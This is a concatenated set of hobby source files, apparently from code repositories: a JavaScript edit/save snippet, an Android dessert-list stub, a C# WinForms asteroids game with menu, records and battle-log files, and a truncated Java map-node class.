function editObj(id){
var btn= document.getElementById(id)
btn.parentElement.setAttribute('btnId', id)
var elem=btn.parentNode.firstChild
var input = document.createElement('input')
input.setAttribute('type', 'text')
input.value=elem.textContent
var saveBtn= document.createElement('button')
saveBtn.innerText="Save"
saveBtn.id='save'+ ++c
var id=saveBtn.id
btn.style.display="none"
btn.parentElement.appendChild(saveBtn)
saveBtn.setAttribute("onclick", "SaveBtn(id)")
btn.parentElement.replaceChild(input, elem)
}
function SaveBtn(id){
var saveBtn=document.getElementById(id)
var oldInput=saveBtn.parentNode.firstChild
var input=document.createElement('input')
input.value=saveBtn.parentNode.firstChild.innerText
var p=document.createElement('p')
p.innerText=oldInput.value
saveBtn.style.display="none"
saveBtn.parentElement.replaceChild(p, oldInput)
}
| 6cb34cdfdd40ee200d0658eb297a9782694aef0b | [
"JavaScript"
] | 1 | JavaScript | asselby/thirdHw | ae949bbd5609a78d0da98c0851a3539bc53b6f18 | 4729b97d578e57c04c111b892a324fbdbd6b5b2a |
refs/heads/main | <file_sep>using MyNewAsteroids.Properties;
using MyNewAsteroids.Scenes;
using System.Drawing;
namespace MyNewAsteroids.GameObjects
{
class Fuel : SpaceObject
{
public Fuel(Point _position, Point _direction) : base(_position, _direction)
{
Size = new Size(40, 59);
}
public override void Draw()
{
GameScene.Buffer.Graphics.DrawImage(new Bitmap(Resources.fuel, new Size(Size.Width, Size.Height)), Position.X, Position.Y);
}
public override void Update()
{
Position.X = Position.X + Direction.X;
Position.Y = Position.Y + Direction.Y;
if (Position.X < 0) Direction.X = -Direction.X;
if (Position.X > GameScene.Width - Size.Width) Direction.X = -Direction.X;
if (Position.Y < 0) Direction.Y = -Direction.Y;
if (Position.Y > GameScene.Height - Size.Height) Direction.Y = -Direction.Y;
}
}
}
<file_sep>using MyNewAsteroids.Properties;
using MyNewAsteroids.Scenes;
using System.Drawing;
namespace MyNewAsteroids.GameObjects
{
class LaserBeam : SpaceObject
{
public LaserBeam(Point _position, Point _direction, Size _size) : base(_position, _direction, _size)
{
}
public override void Draw()
{
GameScene.Buffer.Graphics.DrawImage(new Bitmap(Resources.laserBeam, new Size(Size.Height, Size.Width)), Position.X, Position.Y);
}
public override void Update()
{
Position.X += 100;
}
}
}
<file_sep>using MyNewAsteroids.GameObjects;
using MyNewAsteroids.Model;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Windows.Forms;
namespace MyNewAsteroids.Scenes
{
public class MenuScene : BaseScene
{
private static Background background;
private static List<SpaceObject> stars;
private static Random random;
private static readonly Timer timer = new Timer();
private static MyMenu menu;
private static Ship ship;
private static Planet planet;
public override void Draw()
{
Buffer.Graphics.Clear(Color.Black);
background.Draw();
foreach (var star in stars)
star.Draw();
planet.Draw();
ship.Draw();
menu.Draw();
Buffer.Render();
}
private void Load()
{
random = new Random();
background = new Background(new Point(0, 0), new Size(600, 800));
stars = new List<SpaceObject>();
for (int i = 0; i < 40; i++)
{
var x = random.Next(0, 700);
var y = random.Next(0, 500);
var size = random.Next(5, 21);
stars.Add(new Star(new Point(x, y), new Point(-i, -i), new Size(size, size)));
}
planet = new Planet(new Point(100, 100), new Point(0, 0));
ship = new Ship(new Point(10, 400), new Point(5, 5));
menu = new MyMenu();
}
public static void Update()
{
foreach (var star in stars)
star.Update();
planet.Update();
ship.Update();
}
public override void Init(Form form)
{
base.Init(form);
Load();
timer.Interval = 100;
timer.Start();
timer.Tick += Timer_Tick;
}
private void Timer_Tick(object sender, EventArgs e)
{
Draw();
Update();
}
public override void SceneKeyDown(object sender, KeyEventArgs e)
{
if (e.KeyCode == Keys.Up)
{
menu.ScrollUp();
}
if (e.KeyCode == Keys.Down)
{
menu.ScrollDown();
}
if (e.KeyCode == Keys.Escape)
{
Form.Close(); // Закрываем форму, завершаем работу приложения
}
if (e.KeyCode == Keys.Enter)
{
if(menu.CurrentButtonName == "NewGame")
{
timer.Stop();
Buffer.Dispose();
Dispose();
SceneManager // Обратимся к менеджеру сцен
.Get()
.Init<GameScene>(Form) // Проинициализируем сцену с игрой
.Draw();
}
if(menu.CurrentButtonName == "Exit")
{
Form.Close(); // Закрываем форму, завершаем работу приложения
}
if (menu.CurrentButtonName == "Records")
{
timer.Stop();
Buffer.Dispose();
Dispose();
SceneManager // Обратимся к менеджеру сцен
.Get()
.Init<RecordsScene>(Form) // Проинициализируем сцену с игрой
.Draw();
}
}
}
}
}
<file_sep>using MyNewAsteroids.Properties;
using MyNewAsteroids.Scenes;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace MyNewAsteroids.Model
{
class RecordsButton : MyButton
{
public RecordsButton(Point _position, Size _size) : base(_position, _size)
{
isSelected = false;
Name = "Records";
}
public override void Draw()
{
if (isSelected)
{
MenuScene.Buffer.Graphics.DrawImage(new Bitmap(Resources.buttonRecordSelected, new Size(Size.Width, Size.Height)), Position.X, Position.Y);
}
else
{
MenuScene.Buffer.Graphics.DrawImage(new Bitmap(Resources.buttonRecord, new Size(Size.Width, Size.Height)), Position.X, Position.Y);
}
}
}
}
<file_sep>using MyNewAsteroids.Model;
using System.Drawing;
namespace MyNewAsteroids.GameObjects
{
abstract class SpaceObject : ICollision
{
protected Point Position;
protected Point Direction;
protected Size Size;
public Rectangle Rectangle => new Rectangle(Position, Size);
public SpaceObject(Point _position, Point _direction, Size _size)
{
Position = _position;
Direction = _direction;
Size = _size;
}
public SpaceObject(Point _position, Point _direction)
{
Position = _position;
Direction = _direction;
}
public abstract void Draw();
public abstract void Update();
public virtual void ChangeDirection() { }
public bool Collision(ICollision _object)
{
return _object.Rectangle.IntersectsWith(this.Rectangle);
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.IO;
namespace MyNewAsteroids.Model
{
class BattleJournal
{
public delegate void AddNoteToFile();
List<string> journal;
string fileName;
StreamWriter writer;
FileStream fileStream;
bool isEnd;
public int Current
{
get => journal.Count;
}
public delegate void WriteEventHandler(object sender, BattleJournalEventArgs e);
public static event WriteEventHandler AddString;
public BattleJournal()
{
journal = new List<string>();
fileName = "battle_journal.txt";
fileStream = new FileStream(fileName, FileMode.Append, FileAccess.Write);
writer = new StreamWriter(fileStream, System.Text.Encoding.UTF8);
isEnd = false;
}
public void AddNote(string note)
{
journal.Add(note);
}
public void AddNewString()
{
AddString?.Invoke(this, new BattleJournalEventArgs(journal[Current - 1]));
}
public void ReviewJournal()
{
foreach (var note in journal)
{
Console.WriteLine(note);
}
}
public void AddNoteInFile()
{
if (!isEnd)
{
writer.WriteLine(journal[Current - 1]);
}
}
public void WriteInFile()
{
for (int i = 0; i < journal.Count; i++)
{
writer.WriteLine(journal[i]);
}
}
public void End()
{
if (!isEnd)
{
writer.WriteLine(Environment.NewLine);
writer.Close();
isEnd = true;
}
}
}
}
<file_sep>using System.Collections.Generic;
using System.Drawing;
namespace MyNewAsteroids.Model
{
class MyMenu
{
List<MyButton> buttons;
int CurrentButtonIndex;
public string CurrentButtonName { get; set; }
public MyMenu()
{
buttons = new List<MyButton>();
buttons.Add(new NewGameButton(new Point(265, 30), new Size(256, 166)));
buttons.Add(new RecordsButton(new Point(265, 30 + 166), new Size(256, 166)));
buttons.Add(new ExitButton(new Point(265, 30 + 166 * 2), new Size(256, 166)));
CurrentButtonIndex = 0;
CurrentButtonName = buttons[CurrentButtonIndex].Name;
}
public void Draw()
{
foreach (var button in buttons)
{
button.Draw();
}
}
public void ScrollUp()
{
if (CurrentButtonIndex == 0 && buttons[CurrentButtonIndex].isSelected)
{
buttons[CurrentButtonIndex].ChangeSelection();
CurrentButtonIndex = buttons.Count - 1;
buttons[CurrentButtonIndex].ChangeSelection();
CurrentButtonName = buttons[CurrentButtonIndex].Name;
}
else
{
buttons[CurrentButtonIndex].ChangeSelection();
CurrentButtonIndex -= 1;
buttons[CurrentButtonIndex].ChangeSelection();
CurrentButtonName = buttons[CurrentButtonIndex].Name;
}
}
public void ScrollDown()
{
if(CurrentButtonIndex == buttons.Count - 1 && buttons[CurrentButtonIndex].isSelected)
{
buttons[CurrentButtonIndex].ChangeSelection();
CurrentButtonIndex = 0;
buttons[CurrentButtonIndex].ChangeSelection();
CurrentButtonName = buttons[CurrentButtonIndex].Name;
}
else
{
buttons[CurrentButtonIndex].ChangeSelection();
CurrentButtonIndex += 1;
buttons[CurrentButtonIndex].ChangeSelection();
CurrentButtonName = buttons[CurrentButtonIndex].Name;
}
}
}
}
<file_sep>using MyNewAsteroids.Properties;
using MyNewAsteroids.Scenes;
using System;
using System.Drawing;
namespace MyNewAsteroids.GameObjects
{
class Ship : SpaceObject
{
public int Energy { get; private set; } = 100;
public int DestroyAsteroidsCount { get; private set; } = 0;
public static EventHandler DieEvent;
public static Random random = new Random();
public Ship(Point _position, Point _direction) : base(_position, _direction)
{
Size = new Size(128, 63);
}
public override void Draw()
{
GameScene.Buffer.Graphics.DrawImage(new Bitmap(Resources.spaceship, new Size(Size.Width, Size.Height)), Position.X, Position.Y);
}
public override void Update()
{
if (Position.X > 800)
{
Position.X = -800;
Position.Y = random.Next(1, GameScene.Height - Size.Height);
}
Position.X += 50;
}
public void Up()
{
if (Position.Y - Size.Height < 0) Position.Y = 0;
if (Position.Y > 0) Position.Y -= Size.Height;
}
public void Down()
{
if (Position.Y + Size.Height > GameScene.Height - 63) Position.Y = GameScene.Height - 63;
else if (Position.Y < GameScene.Height - 63) Position.Y += Size.Height;
}
public void DamageShip(int damage)
{
Energy -= damage;
}
public void HealShip(int heal)
{
if (Energy + heal > 100)
Energy = 100;
else
Energy += heal;
}
public void Die()
{
DieEvent?.Invoke(this, new EventArgs());
}
public void IncreaseCount()
{
DestroyAsteroidsCount++;
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace MyNewAsteroids.Model
{
class BattleJournalEventArgs : EventArgs
{
public string Note { get; set; }
public BattleJournalEventArgs(string note)
{
Note = note;
}
}
}
<file_sep>using MyNewAsteroids.Properties;
using MyNewAsteroids.Scenes;
using System.Drawing;
namespace MyNewAsteroids.GameObjects
{
class Background
{
protected Point Position;
protected Size Size;
public Background(Point _position, Size _size)
{
Position = _position;
Size = _size;
}
public void Draw()
{
GameScene.Buffer.Graphics.DrawImage(new Bitmap(Resources.bg1, new Size(Size.Height, Size.Width)), Position.X, Position.Y);
}
}
}
<file_sep>using MyNewAsteroids.GameObjects;
using MyNewAsteroids.Model;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
using System.Windows.Forms;
using static MyNewAsteroids.Model.BattleJournal;
namespace MyNewAsteroids.Scenes
{
public class GameScene : BaseScene
{
private static List<SpaceObject> asteroids;
private static List<SpaceObject> stars;
private static Planet planet;
private static Background background;
private static LaserBeam laserBeam;
private static Ship ship;
private static Fuel fuel;
private static BattleJournal battleJournal;
private static AddNoteToFile addNoteToFileDelegate;
private static Random random;
private static readonly Timer timer = new Timer();
private static int asteroidsCount;
private static bool wasFuel;
private static RecordsJournal recordsJournal;
//static GameScene() { }
public override void Init(Form form)
{
base.Init(form);
Load();
timer.Interval = 100;
timer.Start();
timer.Tick += Timer_Tick;
Ship.DieEvent += GameOver;
AddString += BattleJournal_AddString;
form.FormClosed += Form_FormClosed;
battleJournal.AddNote($"{DateTime.Now} Игра началась!");
battleJournal.AddNewString();
}
private static void Form_FormClosed(object sender, FormClosedEventArgs e)
{
battleJournal.AddNote($"{DateTime.Now} Игрок покинул игру.");
battleJournal.AddNewString();
battleJournal.End();
}
private void Timer_Tick(object sender, EventArgs e)
{
Draw();
Update();
}
public override void Draw()
{
Buffer.Graphics.Clear(Color.Black);
background.Draw();
foreach (var star in stars)
star.Draw();
planet.Draw();
foreach (var asteroid in asteroids)
asteroid?.Draw();
laserBeam?.Draw();
if (ship != null)
{
ship.Draw();
Buffer.Graphics.DrawString($"Энергия: {ship.Energy}", SystemFonts.DefaultFont, Brushes.Black, 10, 10);
Buffer.Graphics.DrawString($"Сбитые астероиды: {ship.DestroyAsteroidsCount}", SystemFonts.DefaultFont, Brushes.Black, 100, 10);
}
if (fuel == null && ship.DestroyAsteroidsCount != 0 && ship.DestroyAsteroidsCount % 5 == 0 && wasFuel == false)
{
var x = random.Next(100, 300);
var y = random.Next(100, 300);
var randomXDir = random.Next(1, 5);
var randomYDir = random.Next(1, 5);
fuel = new Fuel(new Point(x, y), new Point(randomXDir, randomYDir));
wasFuel = true;
}
fuel?.Draw();
Buffer.Render();
}
public static void Update()
{
if(asteroids.Count == 0)
{
asteroidsCount += 2;
for (int i = 0; i < asteroidsCount; i++)
{
var x = random.Next(100, 700);
var y = random.Next(100, 500);
var size = random.Next(40, 60);
var randomXDir = random.Next(15, 25);
var randomYDir = random.Next(15, 25);
asteroids.Add(new Asteroid(new Point(x, y), new Point(randomXDir, randomYDir), new Size(size, size)));
}
}
foreach (var asteroid in asteroids)
{
asteroid.Update();
}
foreach (var asteroid in asteroids)
{
if (laserBeam != null && asteroid.Collision(laserBeam))
{
battleJournal.AddNote($"Лазер попал в астероид по координатам X={asteroid.Rectangle.X}, Y={asteroid.Rectangle.Y}");
battleJournal.AddNewString();
asteroids.Remove(asteroid);
laserBeam = null;
ship.IncreaseCount();
if (wasFuel)
{
wasFuel = false;
}
battleJournal.AddNote($"Корабль уничтожил астероид. Счёт - {ship.DestroyAsteroidsCount}");
battleJournal.AddNewString();
break;
}
if (asteroid.Collision(ship))
{
battleJournal.AddNote($"Астероид столкнулся с кораблём по координатам X={asteroid.Rectangle.X}, Y={asteroid.Rectangle.Y}");
battleJournal.AddNewString();
asteroids.Remove(asteroid);
int damage = random.Next(10, 33);
ship.DamageShip(damage);
ship.IncreaseCount();
if (wasFuel)
{
wasFuel = false;
}
battleJournal.AddNote($"Корабль получил урон равный {damage}");
battleJournal.AddNewString();
battleJournal.AddNote($"Корабль уничтожил астероид своим корпусом. Счёт - {ship.DestroyAsteroidsCount}");
battleJournal.AddNewString();
if (ship.Energy <= 0)
{
ship.Die();
}
break;
}
}
foreach (var star in stars)
star.Update();
laserBeam?.Update();
planet.Update();
fuel?.Update();
if (fuel != null && laserBeam != null)
{
if (ship.Collision(fuel) || laserBeam.Collision(fuel))
{
laserBeam = null;
int heal = random.Next(20, 50);
ship.HealShip(heal);
fuel = null;
battleJournal.AddNote($"Корабль подобрал топливо и восстановил {heal} энергии.");
battleJournal.AddNewString();
}
}
}
public static void Load()
{
random = new Random();
background = new Background(new Point(0, 0), new Size(600, 800));
planet = new Planet(new Point(100, 100), new Point(0, 0));
asteroidsCount = 8;
asteroids = new List<SpaceObject>();
for (int i = 0; i < asteroidsCount; i++)
{
var x = random.Next(100, 700);
var y = random.Next(100, 500);
var size = random.Next(40, 60);
var randomXDir = random.Next(15, 25);
var randomYDir = random.Next(15, 25);
asteroids.Add(new Asteroid(new Point(x, y), new Point(randomXDir, randomYDir), new Size(size, size)));
}
stars = new List<SpaceObject>();
for (int i = 0; i < 40; i++)
{
var x = random.Next(0, 700);
var y = random.Next(0, 500);
var size = random.Next(5, 21);
stars.Add(new Star(new Point(x, y), new Point(-i, -i), new Size(size, size)));
}
ship = new Ship(new Point(10, 400), new Point(5, 5));
battleJournal = new BattleJournal();
recordsJournal = new RecordsJournal();
addNoteToFileDelegate = battleJournal.AddNoteInFile;
wasFuel = false;
}
private static void GameOver(object sender, EventArgs e)
{
timer.Stop();
recordsJournal.TryAddRecord(ship.DestroyAsteroidsCount);
recordsJournal.WriteToFile();
Buffer.Graphics.DrawString("GAME OVER", new Font(FontFamily.GenericSansSerif, 60, FontStyle.Underline), Brushes.Black, 150, 200);
Buffer.Render();
if (fuel != null)
{
fuel = null;
}
battleJournal.AddNote($"{DateTime.Now} Корабль уничтожен. Игра закончена");
battleJournal.AddNewString();
battleJournal.End();
}
private static void BattleJournal_AddString(object sender, BattleJournalEventArgs e)
{
Debug.WriteLine(DateTime.Now + " " + e.Note);
addNoteToFileDelegate?.Invoke();
}
public override void SceneKeyDown(object sender, KeyEventArgs e)
{
if (e.KeyCode == Keys.ControlKey)
{
laserBeam = new LaserBeam(new Point(ship.Rectangle.X + 128, ship.Rectangle.Y + 30), new Point(0, 0), new Size(10, 40));
}
if (e.KeyCode == Keys.Up)
{
ship.Up();
}
if (e.KeyCode == Keys.Down)
{
ship.Down();
}
if (e.KeyCode == Keys.Back)
{
timer.Stop();
battleJournal.End();
Buffer.Dispose();
Dispose();
SceneManager // Обратимся к менеджеру сцен
.Get()
.Init<MenuScene>(Form) // Проинициализируем меню
.Draw();
}
if (e.KeyCode == Keys.Escape)
{
Form.Close(); // Закрываем форму, завершаем работу приложения
}
}
}
}
<file_sep>using MyNewAsteroids.Properties;
using MyNewAsteroids.Scenes;
using System.Drawing;
namespace MyNewAsteroids.Model
{
class ExitButton : MyButton
{
public ExitButton(Point _position, Size _size) : base(_position, _size)
{
isSelected = false;
Name = "Exit";
}
public override void Draw()
{
if (isSelected)
{
MenuScene.Buffer.Graphics.DrawImage(new Bitmap(Resources.buttonExitSelected, new Size(Size.Width, Size.Height)), Position.X, Position.Y);
}
else
{
MenuScene.Buffer.Graphics.DrawImage(new Bitmap(Resources.buttonExit, new Size(Size.Width, Size.Height)), Position.X, Position.Y);
}
}
}
}
<file_sep>using MyNewAsteroids.Properties;
using MyNewAsteroids.Scenes;
using System;
using System.Drawing;
namespace MyNewAsteroids.GameObjects
{
class Planet : SpaceObject
{
private int index;
private static Random random = new Random();
public Planet(Point _position, Point _direction) : base(_position, _direction)
{
index = random.Next(1, 7);
}
public override void Draw()
{
switch (index)
{
case 1:
GameScene.Buffer.Graphics.DrawImage(new Bitmap(Resources.planet_1, new Size(357, 391)), Position.X, Position.Y);
break;
case 2:
GameScene.Buffer.Graphics.DrawImage(new Bitmap(Resources.planet_2, new Size(267, 150)), Position.X, Position.Y);
break;
case 3:
GameScene.Buffer.Graphics.DrawImage(new Bitmap(Resources.planet_3, new Size(433, 248)), Position.X, Position.Y);
break;
case 4:
GameScene.Buffer.Graphics.DrawImage(new Bitmap(Resources.planet_4, new Size(249, 255)), Position.X, Position.Y);
break;
case 5:
GameScene.Buffer.Graphics.DrawImage(new Bitmap(Resources.planet_5, new Size(352, 365)), Position.X, Position.Y);
break;
case 6:
GameScene.Buffer.Graphics.DrawImage(new Bitmap(Resources.planet_6, new Size(256, 263)), Position.X, Position.Y);
break;
}
}
public override void Update()
{
if (Position.X < -500)
{
index = random.Next(1, 7);
Position.X = GameScene.Width;
Position.Y = random.Next(1, GameScene.Height - Size.Height);
}
Position.X -= 10;
}
}
}
<file_sep>using MyNewAsteroids.Properties;
using MyNewAsteroids.Scenes;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace MyNewAsteroids.GameObjects
{
class Star : SpaceObject
{
public Star(Point _position, Point _direction, Size _size) : base(_position, _direction, _size) { }
static Random random = new Random();
public override void Draw()
{
GameScene.Buffer.Graphics.DrawImage(new Bitmap(Resources.star_1, new Size(Size.Width, Size.Height)), Position.X, Position.Y);
}
public override void Update()
{
if (Position.X < 0)
{
Position.X = GameScene.Width;
Position.Y = random.Next(1, GameScene.Height + 1);
}
Position.X -= 50;
}
}
}
<file_sep>using System.Drawing;
using MyNewAsteroids.Scenes;
using MyNewAsteroids.Properties;
namespace MyNewAsteroids.GameObjects
{
class Asteroid : SpaceObject
{
public Asteroid(Point _position, Point _direction, Size _size) : base (_position, _direction, _size)
{
}
public override void Draw()
{
GameScene.Buffer.Graphics.DrawImage(new Bitmap(Resources.asteroid, new Size(Size.Width, Size.Height)), Position.X, Position.Y);
}
public override void Update()
{
Position.X += Direction.X;
Position.Y += Direction.Y;
if (Position.X < 0) Direction.X = -Direction.X;
if (Position.X > GameScene.Width - Size.Width) Direction.X = -Direction.X;
if (Position.Y < 0) Direction.Y = -Direction.Y;
if (Position.Y > GameScene.Height - Size.Height) Direction.Y = -Direction.Y;
}
}
}
<file_sep>using MyNewAsteroids.Model;
using System;
using System.Drawing;
using System.Windows.Forms;
namespace MyNewAsteroids.Scenes
{
public abstract class BaseScene : IScene, IDisposable
{
protected BufferedGraphicsContext Context;
protected Form Form;
public static BufferedGraphics Buffer;
public static int Width { get; set; }
public static int Height { get; set; }
public virtual void Init(Form _form)
{
Form = _form;
Context = BufferedGraphicsManager.Current;
Graphics g;
g = Form.CreateGraphics();
Width = Form.ClientSize.Width;
Height = Form.ClientSize.Height;
Buffer = Context.Allocate(g, new Rectangle(0, 0, Width, Height));
Form.KeyDown += SceneKeyDown;
}
public virtual void SceneKeyDown(object sender, KeyEventArgs e) { }
public virtual void Draw() { }
public void Dispose()
{
Form.KeyDown -= SceneKeyDown;
}
}
}
<file_sep>using System.Windows.Forms;
namespace MyNewAsteroids.Model
{
public interface IScene
{
void Init(Form _form);
void Draw();
}
}
<file_sep>using MyNewAsteroids.Scenes;
using System.Collections.Generic;
using System.Drawing;
namespace MyNewAsteroids.Model
{
class RecordsList
{
RecordsJournal recordsJournal;
List<string> recordsList;
public RecordsList()
{
recordsJournal = new RecordsJournal();
recordsList = new List<string>(recordsJournal.Length);
for (int i = 0; i < recordsJournal.Length; i++)
{
recordsList.Add(recordsJournal.GetRecord(i).ToString());
}
}
public void Draw()
{
int space = 30;
for (int i = 0; i < recordsList.Count; i++)
{
RecordsScene.Buffer.Graphics.DrawString($"{i + 1}. {recordsList[i]}", new Font(FontFamily.GenericSansSerif, 40, FontStyle.Underline), Brushes.Black, 325, space);
space += 50;
}
}
}
}
<file_sep>using MyNewAsteroids.Model;
using System.Windows.Forms;
namespace MyNewAsteroids.Scenes
{
class SceneManager
{
private static SceneManager sceneManager;
private BaseScene scene;
public static SceneManager Get()
{
if (sceneManager == null)
{
sceneManager = new SceneManager();
}
return sceneManager;
}
public IScene Init<T>(Form form) where T : BaseScene, new()
{
if (scene != null)
{
scene.Dispose();
}
scene = new T();
scene.Init(form);
return scene;
}
}
}
<file_sep>using System.Drawing;
namespace MyNewAsteroids.Model
{
public interface ICollision
{
Rectangle Rectangle { get; }
bool Collision(ICollision _object);
}
}
<file_sep>using System.Drawing;
namespace MyNewAsteroids.Model
{
public abstract class MyButton
{
protected Point Position;
protected Size Size;
public string Name { get; protected set; }
public bool isSelected { get; protected set; }
public MyButton(Point _position, Size _size)
{
Position = _position;
Size = _size;
}
public abstract void Draw();
public void ChangeSelection()
{
if (isSelected)
{
isSelected = false;
}
else
{
isSelected = true;
}
}
}
}
<file_sep>using System;
using System.IO;
namespace MyNewAsteroids.Model
{
class RecordsJournal
{
int[] records;
int currentRecord;
readonly string fileName;
StreamWriter writer;
StreamReader reader;
FileStream fileStream;
public int Length { get; private set; } = 10;
public RecordsJournal()
{
records = new int[Length];
currentRecord = 0;
fileName = "records_journal.txt";
ReadFromFile();
}
public bool TryAddRecord(int newRecord)
{
if(currentRecord == records.Length - 1)
{
if (TryReplaceRecords(newRecord))
{
SortRecords();
return true;
}
}
return false;
}
private bool TryReplaceRecords(int newRecord)
{
int indexForReplace = GetMinIndex();
if(records[indexForReplace] < newRecord)
{
records[indexForReplace] = newRecord;
return true;
}
return false;
}
private int GetMinIndex()
{
int min = records[0];
int minIndex = 0;
for (int i = 0; i < records.Length; i++)
{
if (records[i] < min)
{
min = records[i];
minIndex = i;
}
}
return minIndex;
}
private void SortRecords()
{
Array.Sort(records);
Array.Reverse(records);
}
public void ReadFromFile()
{
fileStream = new FileStream(fileName, FileMode.Open, FileAccess.Read);
reader = new StreamReader(fileStream, System.Text.Encoding.UTF8);
for (int i = 0; reader.Peek() != -1; i++)
{
records[i] = int.Parse(reader.ReadLine());
currentRecord = i;
}
reader.Dispose();
reader.Close();
fileStream.Close();
}
public void WriteToFile()
{
fileStream = new FileStream(fileName, FileMode.Open, FileAccess.Write);
writer = new StreamWriter(fileStream, System.Text.Encoding.UTF8);
for (int i = 0; i < records.Length; i++)
{
writer.WriteLine(records[i]);
}
writer.Dispose();
writer.Close();
fileStream.Close();
}
public int GetRecord(int index)
{
return records[index];
}
}
}
<file_sep>using MyNewAsteroids.Properties;
using MyNewAsteroids.Scenes;
using System.Drawing;
namespace MyNewAsteroids.Model
{
public class NewGameButton : MyButton
{
public NewGameButton(Point _position, Size _size) : base(_position, _size)
{
isSelected = true;
Name = "NewGame";
}
public override void Draw()
{
if (isSelected)
{
MenuScene.Buffer.Graphics.DrawImage(new Bitmap(Resources.buttonNewGameSelected, new Size(Size.Width, Size.Height)), Position.X, Position.Y);
}
else
{
MenuScene.Buffer.Graphics.DrawImage(new Bitmap(Resources.buttonNewGame, new Size(Size.Width, Size.Height)), Position.X, Position.Y);
}
}
}
}
| f8881e97d80a7e87e177422efb6cc1a18e1fd856 | [
"C#"
] | 23 | C# | nester-a/Asteroids | 703fe7fac3a1f1dcaa9b10dd9be0ccdb096c9d67 | 5d463ca70352f3e324cb75a7346fea8125a43b12 |
refs/heads/master | <file_sep>package com.example.postresfitness;
import androidx.appcompat.app.AppCompatActivity;
import androidx.recyclerview.widget.RecyclerView;
import android.os.Bundle;
import android.widget.AdapterView;
public class MainActivity extends AppCompatActivity implements AdapterView.OnItemClickListener{
private RecyclerView recicler;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
recicler=(RecyclerView)findViewById(R.id.recicler);
PostresFitnessAdapter adapter= new PostresFitnessAdapter(this, Postre.getDessert(),this);
recicler.setAdapter(PostresFitnessAdapter);
}
}<file_sep>package com.example.postresfitness;
import android.content.Context;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.AdapterView;
import androidx.annotation.NonNull;
import androidx.recyclerview.widget.RecyclerView;
import java.util.List;
public class PostresFitnessAdapter extends RecyclerView.Adapter<PostresFitnessAdapter.fitnessViewHolder> {
@NonNull
private LayoutInflater layoutInflater;
private List<Postre> listaPostreList;
private Context mContext;
private AdapterView.OnItemClickListener listener;
public PostresFitnessAdapter(Context pContext, List<Postre> pListaPostreList, AdapterView.OnItemClickListener pListener){
mContext=pContext;
listaPostreList=pListaPostreList;
listener=pListener;
layoutInflater=LayoutInflater.from(mContext);
}
@Override
public fitnessViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) {
return null;
}
@Override
public void onBindViewHolder(@NonNull fitnessViewHolder holder, int position) {
}
@Override
public int getItemCount() {
return 0;
}
public class fitnessViewHolder extends RecyclerView.ViewHolder {
public fitnessViewHolder(@NonNull View itemView) {
super(itemView);
}
}
}
| a27466ade0e6456ac75e8fe9759c9b27a6713829 | [
"Java"
] | 2 | Java | DarkDragonZerox/PostresFitness | c7ed90746559517c1de618a02c7b125f8aa472eb | 263c051cfd16f3a54d4ca758912ba935e528cb71 |
refs/heads/master | <file_sep>// Created by <NAME>
// UINode version 1.0
// Write any changes here are well as next to the change
// Changes:
//
import java.lang.Math;
import java.awt.Color;
import java.awt.color.*;
public class UINode
{
private String nodeState; // variable for the color state of the node.
private String locationName; // The name of the node (A, B, C, ... , U)
private Color currentNodeColor; // The color of the node that represents a state
private int nodeX, nodeY; // (X,Y) coordinates of the node assuming a 2D Map
private boolean isBaseNode; // boolean that says if the current node is one of the base nodes
private boolean needsService; // boolean that says if current node requests service or not
private boolean isSphereIn; // boolean that says if the current node is part of the Sphere of Influence
private boolean hasRobot; // boolean that says if the current node has a robot servicing it
private boolean hasTruckA; // boolean that says if the current node has Truck A in it
private boolean hasTruckB; // boolean that says if the current node has Truck B in it
public UINode(String locName, String oNodeState, int oNodeX, int oNodeY)
// Default Constructor
{
locationName = locName;
nodeState = oNodeState;
nodeX = oNodeX;
nodeY = oNodeY;
currentNodeColor = Color.WHITE;
}
public String getNodeName() // returns the name of the node
{
return locationName;
}
public String getNodeState() // returns Red/Green/White to show the current state of node
{
return nodeState;
}
public int getNodeX() // returns the x coordinate of the node
{
return nodeX;
}
public int getNodeY() // returns the y coordinate of the node
{
return nodeY;
}
public Color getNodeColor() // returns the color a Node is supposed to be
{
return currentNodeColor;
}
public boolean getIsBaseNode() // returns boolean that says if the current node is one of the base nodes
{
return isBaseNode;
}
public boolean getNeedsService() // returns boolean that says if current node requests service or not
{
return needsService;
}
public boolean getIsSphereIn() // returns boolean that says if the current node is part of the Sphere of Influence
{
return isSphereIn;
}
public boolean getHasRobot() // returns boolean that says if the current node has a robot servicing it
{
return hasRobot;
}
public boolean getHasTruckA() // return boolean that says if the current node has Truck A in it
{
return hasTruckA;
}
public boolean getHasTruckB() // boolean that says if the current node has Truck B in it
{
return hasTruckB;
}
public void setNodeColor(Color c) // sets the Color of the node
{
currentNodeColor = c;
}
public void setBaseNode(boolean setBase) // set a node as a base node, TRUE = is a base node, FALSE = isn't a base node
{
isBaseNode = setBase;
if(isBaseNode = true)
setNodeColor(Color.YELLOW);
if(isBaseNode = false)
setNodeColor(Color.WHITE);
}
public void setNeedsService(boolean setServe) // current node needs service, TRUE = needs service, FALSE = doesn't need service
{
needsService = setServe;
if(needsService = true)
setNodeColor(Color.RED);
if(needsService = false)
setNodeColor(Color.WHITE);
}
public void setSphereIn(boolean setSOH) // boolean that says if the current node is part of the Sphere of Influence
{
isSphereIn = setSOH;
}
public void setHasRobot(boolean setRobo) // boolean that says if the current node has a robot servicing it
{
hasRobot = setRobo;
}
public void setTruckA(boolean setA) // boolean that says if the current node has Truck A in it
{
hasTruckA = setA;
}
public void setTruckB(boolean setB) // boolean that says if the current node has Truck B in it
{
hasTruckB = setB;
}
public double distBetweenNodes(UINode iNode) // DEFUNCT How to calculate the edges
{
// Distance Formula: square root(nx + ny)
// Or square root((first node x - second node x)^2 + (first node y - second node y)^2)
double nx = Math.pow(this.nodeX - iNode.nodeX, 2);
double ny = Math.pow(this.nodeY - iNode.nodeY, 2);
